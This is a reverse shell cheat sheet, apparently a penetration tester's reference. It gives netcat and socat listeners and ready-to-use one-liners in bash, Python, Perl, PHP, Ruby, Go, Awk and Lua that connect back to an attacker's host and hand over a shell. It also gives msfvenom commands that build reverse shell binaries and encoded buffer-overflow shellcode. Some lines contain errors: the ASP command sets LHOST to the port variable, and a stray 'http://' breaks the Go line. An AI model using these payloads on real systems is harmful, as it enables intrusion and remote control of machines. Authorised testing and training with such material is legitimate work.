Reverse Shell Cheat Sheet

References

• Get Reverse-shell via Windows one-liner
• php-reverse-shell.php
• Reverse shell cheat sheets:
  • PayloadAllTheThings is a really awesome place to look for exotic shells
  • HighOn.Coffee
  • pentestmonkey

General advices

• Don’t forget to check for shells other than sh or bash: ash, bsh, csh, ksh, zsh, pdksh, tcsh. And so on, be creative.
• If your favorites 1234 or 1337 TCP ports don’t work, try 80/tcp or UDP ports as there may be filtering in place.
• In the following, replace LHOST with your IP and LPORT with your port.

Listeners

Command	Description
nc -nlvp LPORT	Netcat on TCP
nc -u -nlvp LPORT	Netcat on UDP
socat -d -d TCP4-LISTEN:LPORT STDOUT	Socat (yes 2 -d’s)

Short One-liners

Command	Description
nc -nv LHOST LPORT -e /bin/sh	Traditional netcat
ncat -nv LHOST LPORT -e /bin/sh	Nmap ncat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f	OpenBSD netcat (doesn’t have -e switch)
socat TCP4:LHOST:LPORT EXEC:/bin/sh	Socat
/bin/bash -i >& /dev/tcp/LHOST/LPORT 0>&1	Bash TCP, works with sh too
/bin/bash -i >& /dev/udp/LHOST/LPORT 0>&1	Bash UDP with listener nc -u -lvp LPORT
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196	sh

Language Specific (Linux mostly)

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

Awk

awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Msfvenom generated

Here the shell variables lhost and lport are set accordingly:

export lhost=$(ip address show tun0 | grep "inet " | awk '{print $2}' | cut -d "/" -f 1)
export lport=443

Command	Description
msfvenom -p cmd/unix/reverse_netcat LHOST=$lhost LPORT=$lport	netcat
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf -o myshell	Linux 32bits bin
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf -o myshell	Linux 64bits bin
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f war -o myshell.war	Tomcat
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe -o myshell.exe	Windows bin
msfvenom -p windows/shell_reverse_tcp LHOST=$lport LPORT=$lport -f asp -o myshell.asp	ASP
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport EXITFUNC=thread -f python -v shellcode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"	Windows Shellcode for Buffer Overflow
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport EXITFUNC=thread -f python -v shellcode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"	Linux Shellcode for Buffer Overflow